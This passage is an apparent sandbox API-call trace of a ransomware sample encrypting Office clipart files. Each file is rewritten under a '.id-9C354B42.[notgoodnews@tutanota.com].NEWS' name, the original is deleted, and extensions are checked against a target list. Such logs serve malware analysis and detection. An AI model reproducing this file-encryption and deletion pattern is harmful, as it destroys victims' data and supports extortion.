lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.474] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.475] GetLastError () returned 0x0 [0244.475] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1306, lpOverlapped=0x0) returned 1 [0244.558] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0244.562] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.562] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.562] SetEndOfFile (hFile=0x324) returned 1 [0244.562] CloseHandle (hObject=0x324) returned 1 [0244.563] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.563] SetEndOfFile (hFile=0x3d0) returned 1 [0244.573] CloseHandle (hObject=0x3d0) returned 1 [0244.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0245.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.062] lstrlenW (lpString=".doc") returned 4 [0245.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.062] lstrlenW (lpString=".docx") returned 5 [0245.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.063] lstrlenW (lpString=".pdf") returned 4 [0245.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.063] lstrlenW (lpString=".xls") returned 4 [0245.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.063] lstrlenW (lpString=".xlsx") returned 5 [0245.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.063] lstrlenW (lpString=".ppt") returned 4 [0245.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.063] lstrlenW (lpString=".zip") returned 4 [0245.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.064] lstrlenW (lpString=".rar") returned 4 [0245.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.064] lstrlenW (lpString=".bz2") returned 4 [0245.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.064] lstrlenW (lpString=".7z") returned 3 [0245.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.064] lstrlenW (lpString=".dbf") returned 4 [0245.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.064] lstrlenW (lpString=".1cd") returned 4 [0245.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.064] lstrlenW (lpString=".jpg") returned 4 [0245.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.065] lstrlenW (lpString=".doc") returned 4 [0245.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString=".docx") returned 5 [0245.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.065] lstrlenW (lpString=".pdf") returned 4 [0245.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString=".xls") returned 4 [0245.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.066] lstrlenW (lpString=".xlsx") returned 5 [0245.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.066] lstrlenW (lpString=".ppt") returned 4 [0245.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.066] lstrlenW (lpString=".zip") returned 4 [0245.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.066] lstrlenW (lpString=".rar") returned 4 [0245.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString=".bz2") returned 4 [0245.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.067] lstrlenW (lpString=".7z") returned 3 [0245.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.067] lstrlenW (lpString=".dbf") returned 4 [0245.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.067] lstrlenW (lpString=".1cd") returned 4 [0245.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0245.067] lstrlenW (lpString=".jpg") returned 4 [0245.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.068] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.073] lstrlenW (lpString="BD07804_.WMF") returned 12 [0245.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.074] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4924) returned 1 [0245.074] CloseHandle (hObject=0x324) returned 1 [0245.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0245.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.075] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.075] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0245.076] GetLastError () returned 0x0 [0245.076] ReadFile (in: hFile=0x324, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x133c, lpOverlapped=0x0) returned 1 [0245.149] WriteFile (in: hFile=0x388, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0245.153] ReadFile (in: hFile=0x324, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.153] WriteFile (in: hFile=0x388, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.153] SetEndOfFile (hFile=0x388) returned 1 [0245.153] CloseHandle (hObject=0x388) returned 1 [0245.154] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.154] SetEndOfFile (hFile=0x324) returned 1 [0245.160] CloseHandle (hObject=0x324) returned 1 [0245.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0245.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.301] lstrlenW (lpString=".doc") returned 4 [0245.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.301] lstrlenW (lpString=".docx") returned 5 [0245.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.301] lstrlenW (lpString=".pdf") returned 4 [0245.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.302] lstrlenW (lpString=".xls") returned 4 [0245.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.302] lstrlenW (lpString=".xlsx") returned 5 [0245.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.302] lstrlenW (lpString=".ppt") returned 4 [0245.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.302] lstrlenW (lpString=".zip") returned 4 [0245.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.302] lstrlenW (lpString=".rar") returned 4 [0245.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.302] lstrlenW (lpString=".bz2") returned 4 [0245.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.305] lstrlenW (lpString=".7z") returned 3 [0245.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.305] lstrlenW (lpString=".dbf") returned 4 [0245.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.305] lstrlenW (lpString=".1cd") returned 4 [0245.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.305] lstrlenW (lpString=".jpg") returned 4 [0245.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.306] lstrlenW (lpString=".doc") returned 4 [0245.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.306] lstrlenW (lpString=".docx") returned 5 [0245.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.306] lstrlenW (lpString=".pdf") returned 4 [0245.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.306] lstrlenW (lpString=".xls") returned 4 [0245.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.306] lstrlenW (lpString=".xlsx") returned 5 [0245.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.306] lstrlenW (lpString=".ppt") returned 4 [0245.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.307] lstrlenW (lpString=".zip") returned 4 [0245.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.307] lstrlenW (lpString=".rar") returned 4 [0245.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.307] lstrlenW (lpString=".bz2") returned 4 [0245.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.307] lstrlenW (lpString=".7z") returned 3 [0245.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.307] lstrlenW (lpString=".dbf") returned 4 [0245.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.308] lstrlenW (lpString=".1cd") returned 4 [0245.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0245.308] lstrlenW (lpString=".jpg") returned 4 [0245.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.308] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.309] lstrlenW (lpString="BD08808_.WMF") returned 12 [0245.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0245.310] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=47996) returned 1 [0245.310] CloseHandle (hObject=0x1cc) returned 1 [0245.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0245.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0245.311] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.311] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.390] GetLastError () returned 0x0 [0245.391] ReadFile (in: hFile=0x1cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0245.634] WriteFile (in: hFile=0x304, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0246.562] ReadFile (in: hFile=0x1cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.562] WriteFile (in: hFile=0x304, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.563] SetEndOfFile (hFile=0x304) returned 1 [0246.563] CloseHandle (hObject=0x304) returned 1 [0246.564] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.565] SetEndOfFile (hFile=0x1cc) returned 1 [0246.581] CloseHandle (hObject=0x1cc) returned 1 [0246.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0246.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0246.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.584] lstrlenW (lpString=".doc") returned 4 [0246.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.585] lstrlenW (lpString=".docx") returned 5 [0246.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.585] lstrlenW (lpString=".pdf") returned 4 [0246.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.585] lstrlenW (lpString=".xls") returned 4 [0246.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.585] lstrlenW (lpString=".xlsx") returned 5 [0246.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.585] lstrlenW (lpString=".ppt") returned 4 [0246.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.585] lstrlenW (lpString=".zip") returned 4 [0246.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.586] lstrlenW (lpString=".rar") returned 4 [0246.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.586] lstrlenW (lpString=".bz2") returned 4 [0246.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.586] lstrlenW (lpString=".7z") returned 3 [0246.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.586] lstrlenW (lpString=".dbf") returned 4 [0246.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.586] lstrlenW (lpString=".1cd") returned 4 [0246.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.586] lstrlenW (lpString=".jpg") returned 4 [0246.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.587] lstrlenW (lpString=".doc") returned 4 [0246.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.587] lstrlenW (lpString=".docx") returned 5 [0246.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.587] lstrlenW (lpString=".pdf") returned 4 [0246.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.587] lstrlenW (lpString=".xls") returned 4 [0246.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.587] lstrlenW (lpString=".xlsx") returned 5 [0246.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.588] lstrlenW (lpString=".ppt") returned 4 [0246.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.588] lstrlenW (lpString=".zip") returned 4 [0246.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.588] lstrlenW (lpString=".rar") returned 4 [0246.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.588] lstrlenW (lpString=".bz2") returned 4 [0246.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.588] lstrlenW (lpString=".7z") returned 3 [0246.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.589] lstrlenW (lpString=".dbf") returned 4 [0246.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.589] lstrlenW (lpString=".1cd") returned 4 [0246.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0246.589] lstrlenW (lpString=".jpg") returned 4 [0246.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.590] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0246.591] lstrlenW (lpString="BD09664_.WMF") returned 12 [0246.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0246.591] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=7966) returned 1 [0246.591] CloseHandle (hObject=0x1cc) returned 1 [0246.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0246.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0246.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0246.592] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.593] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.198] GetLastError () returned 0x0 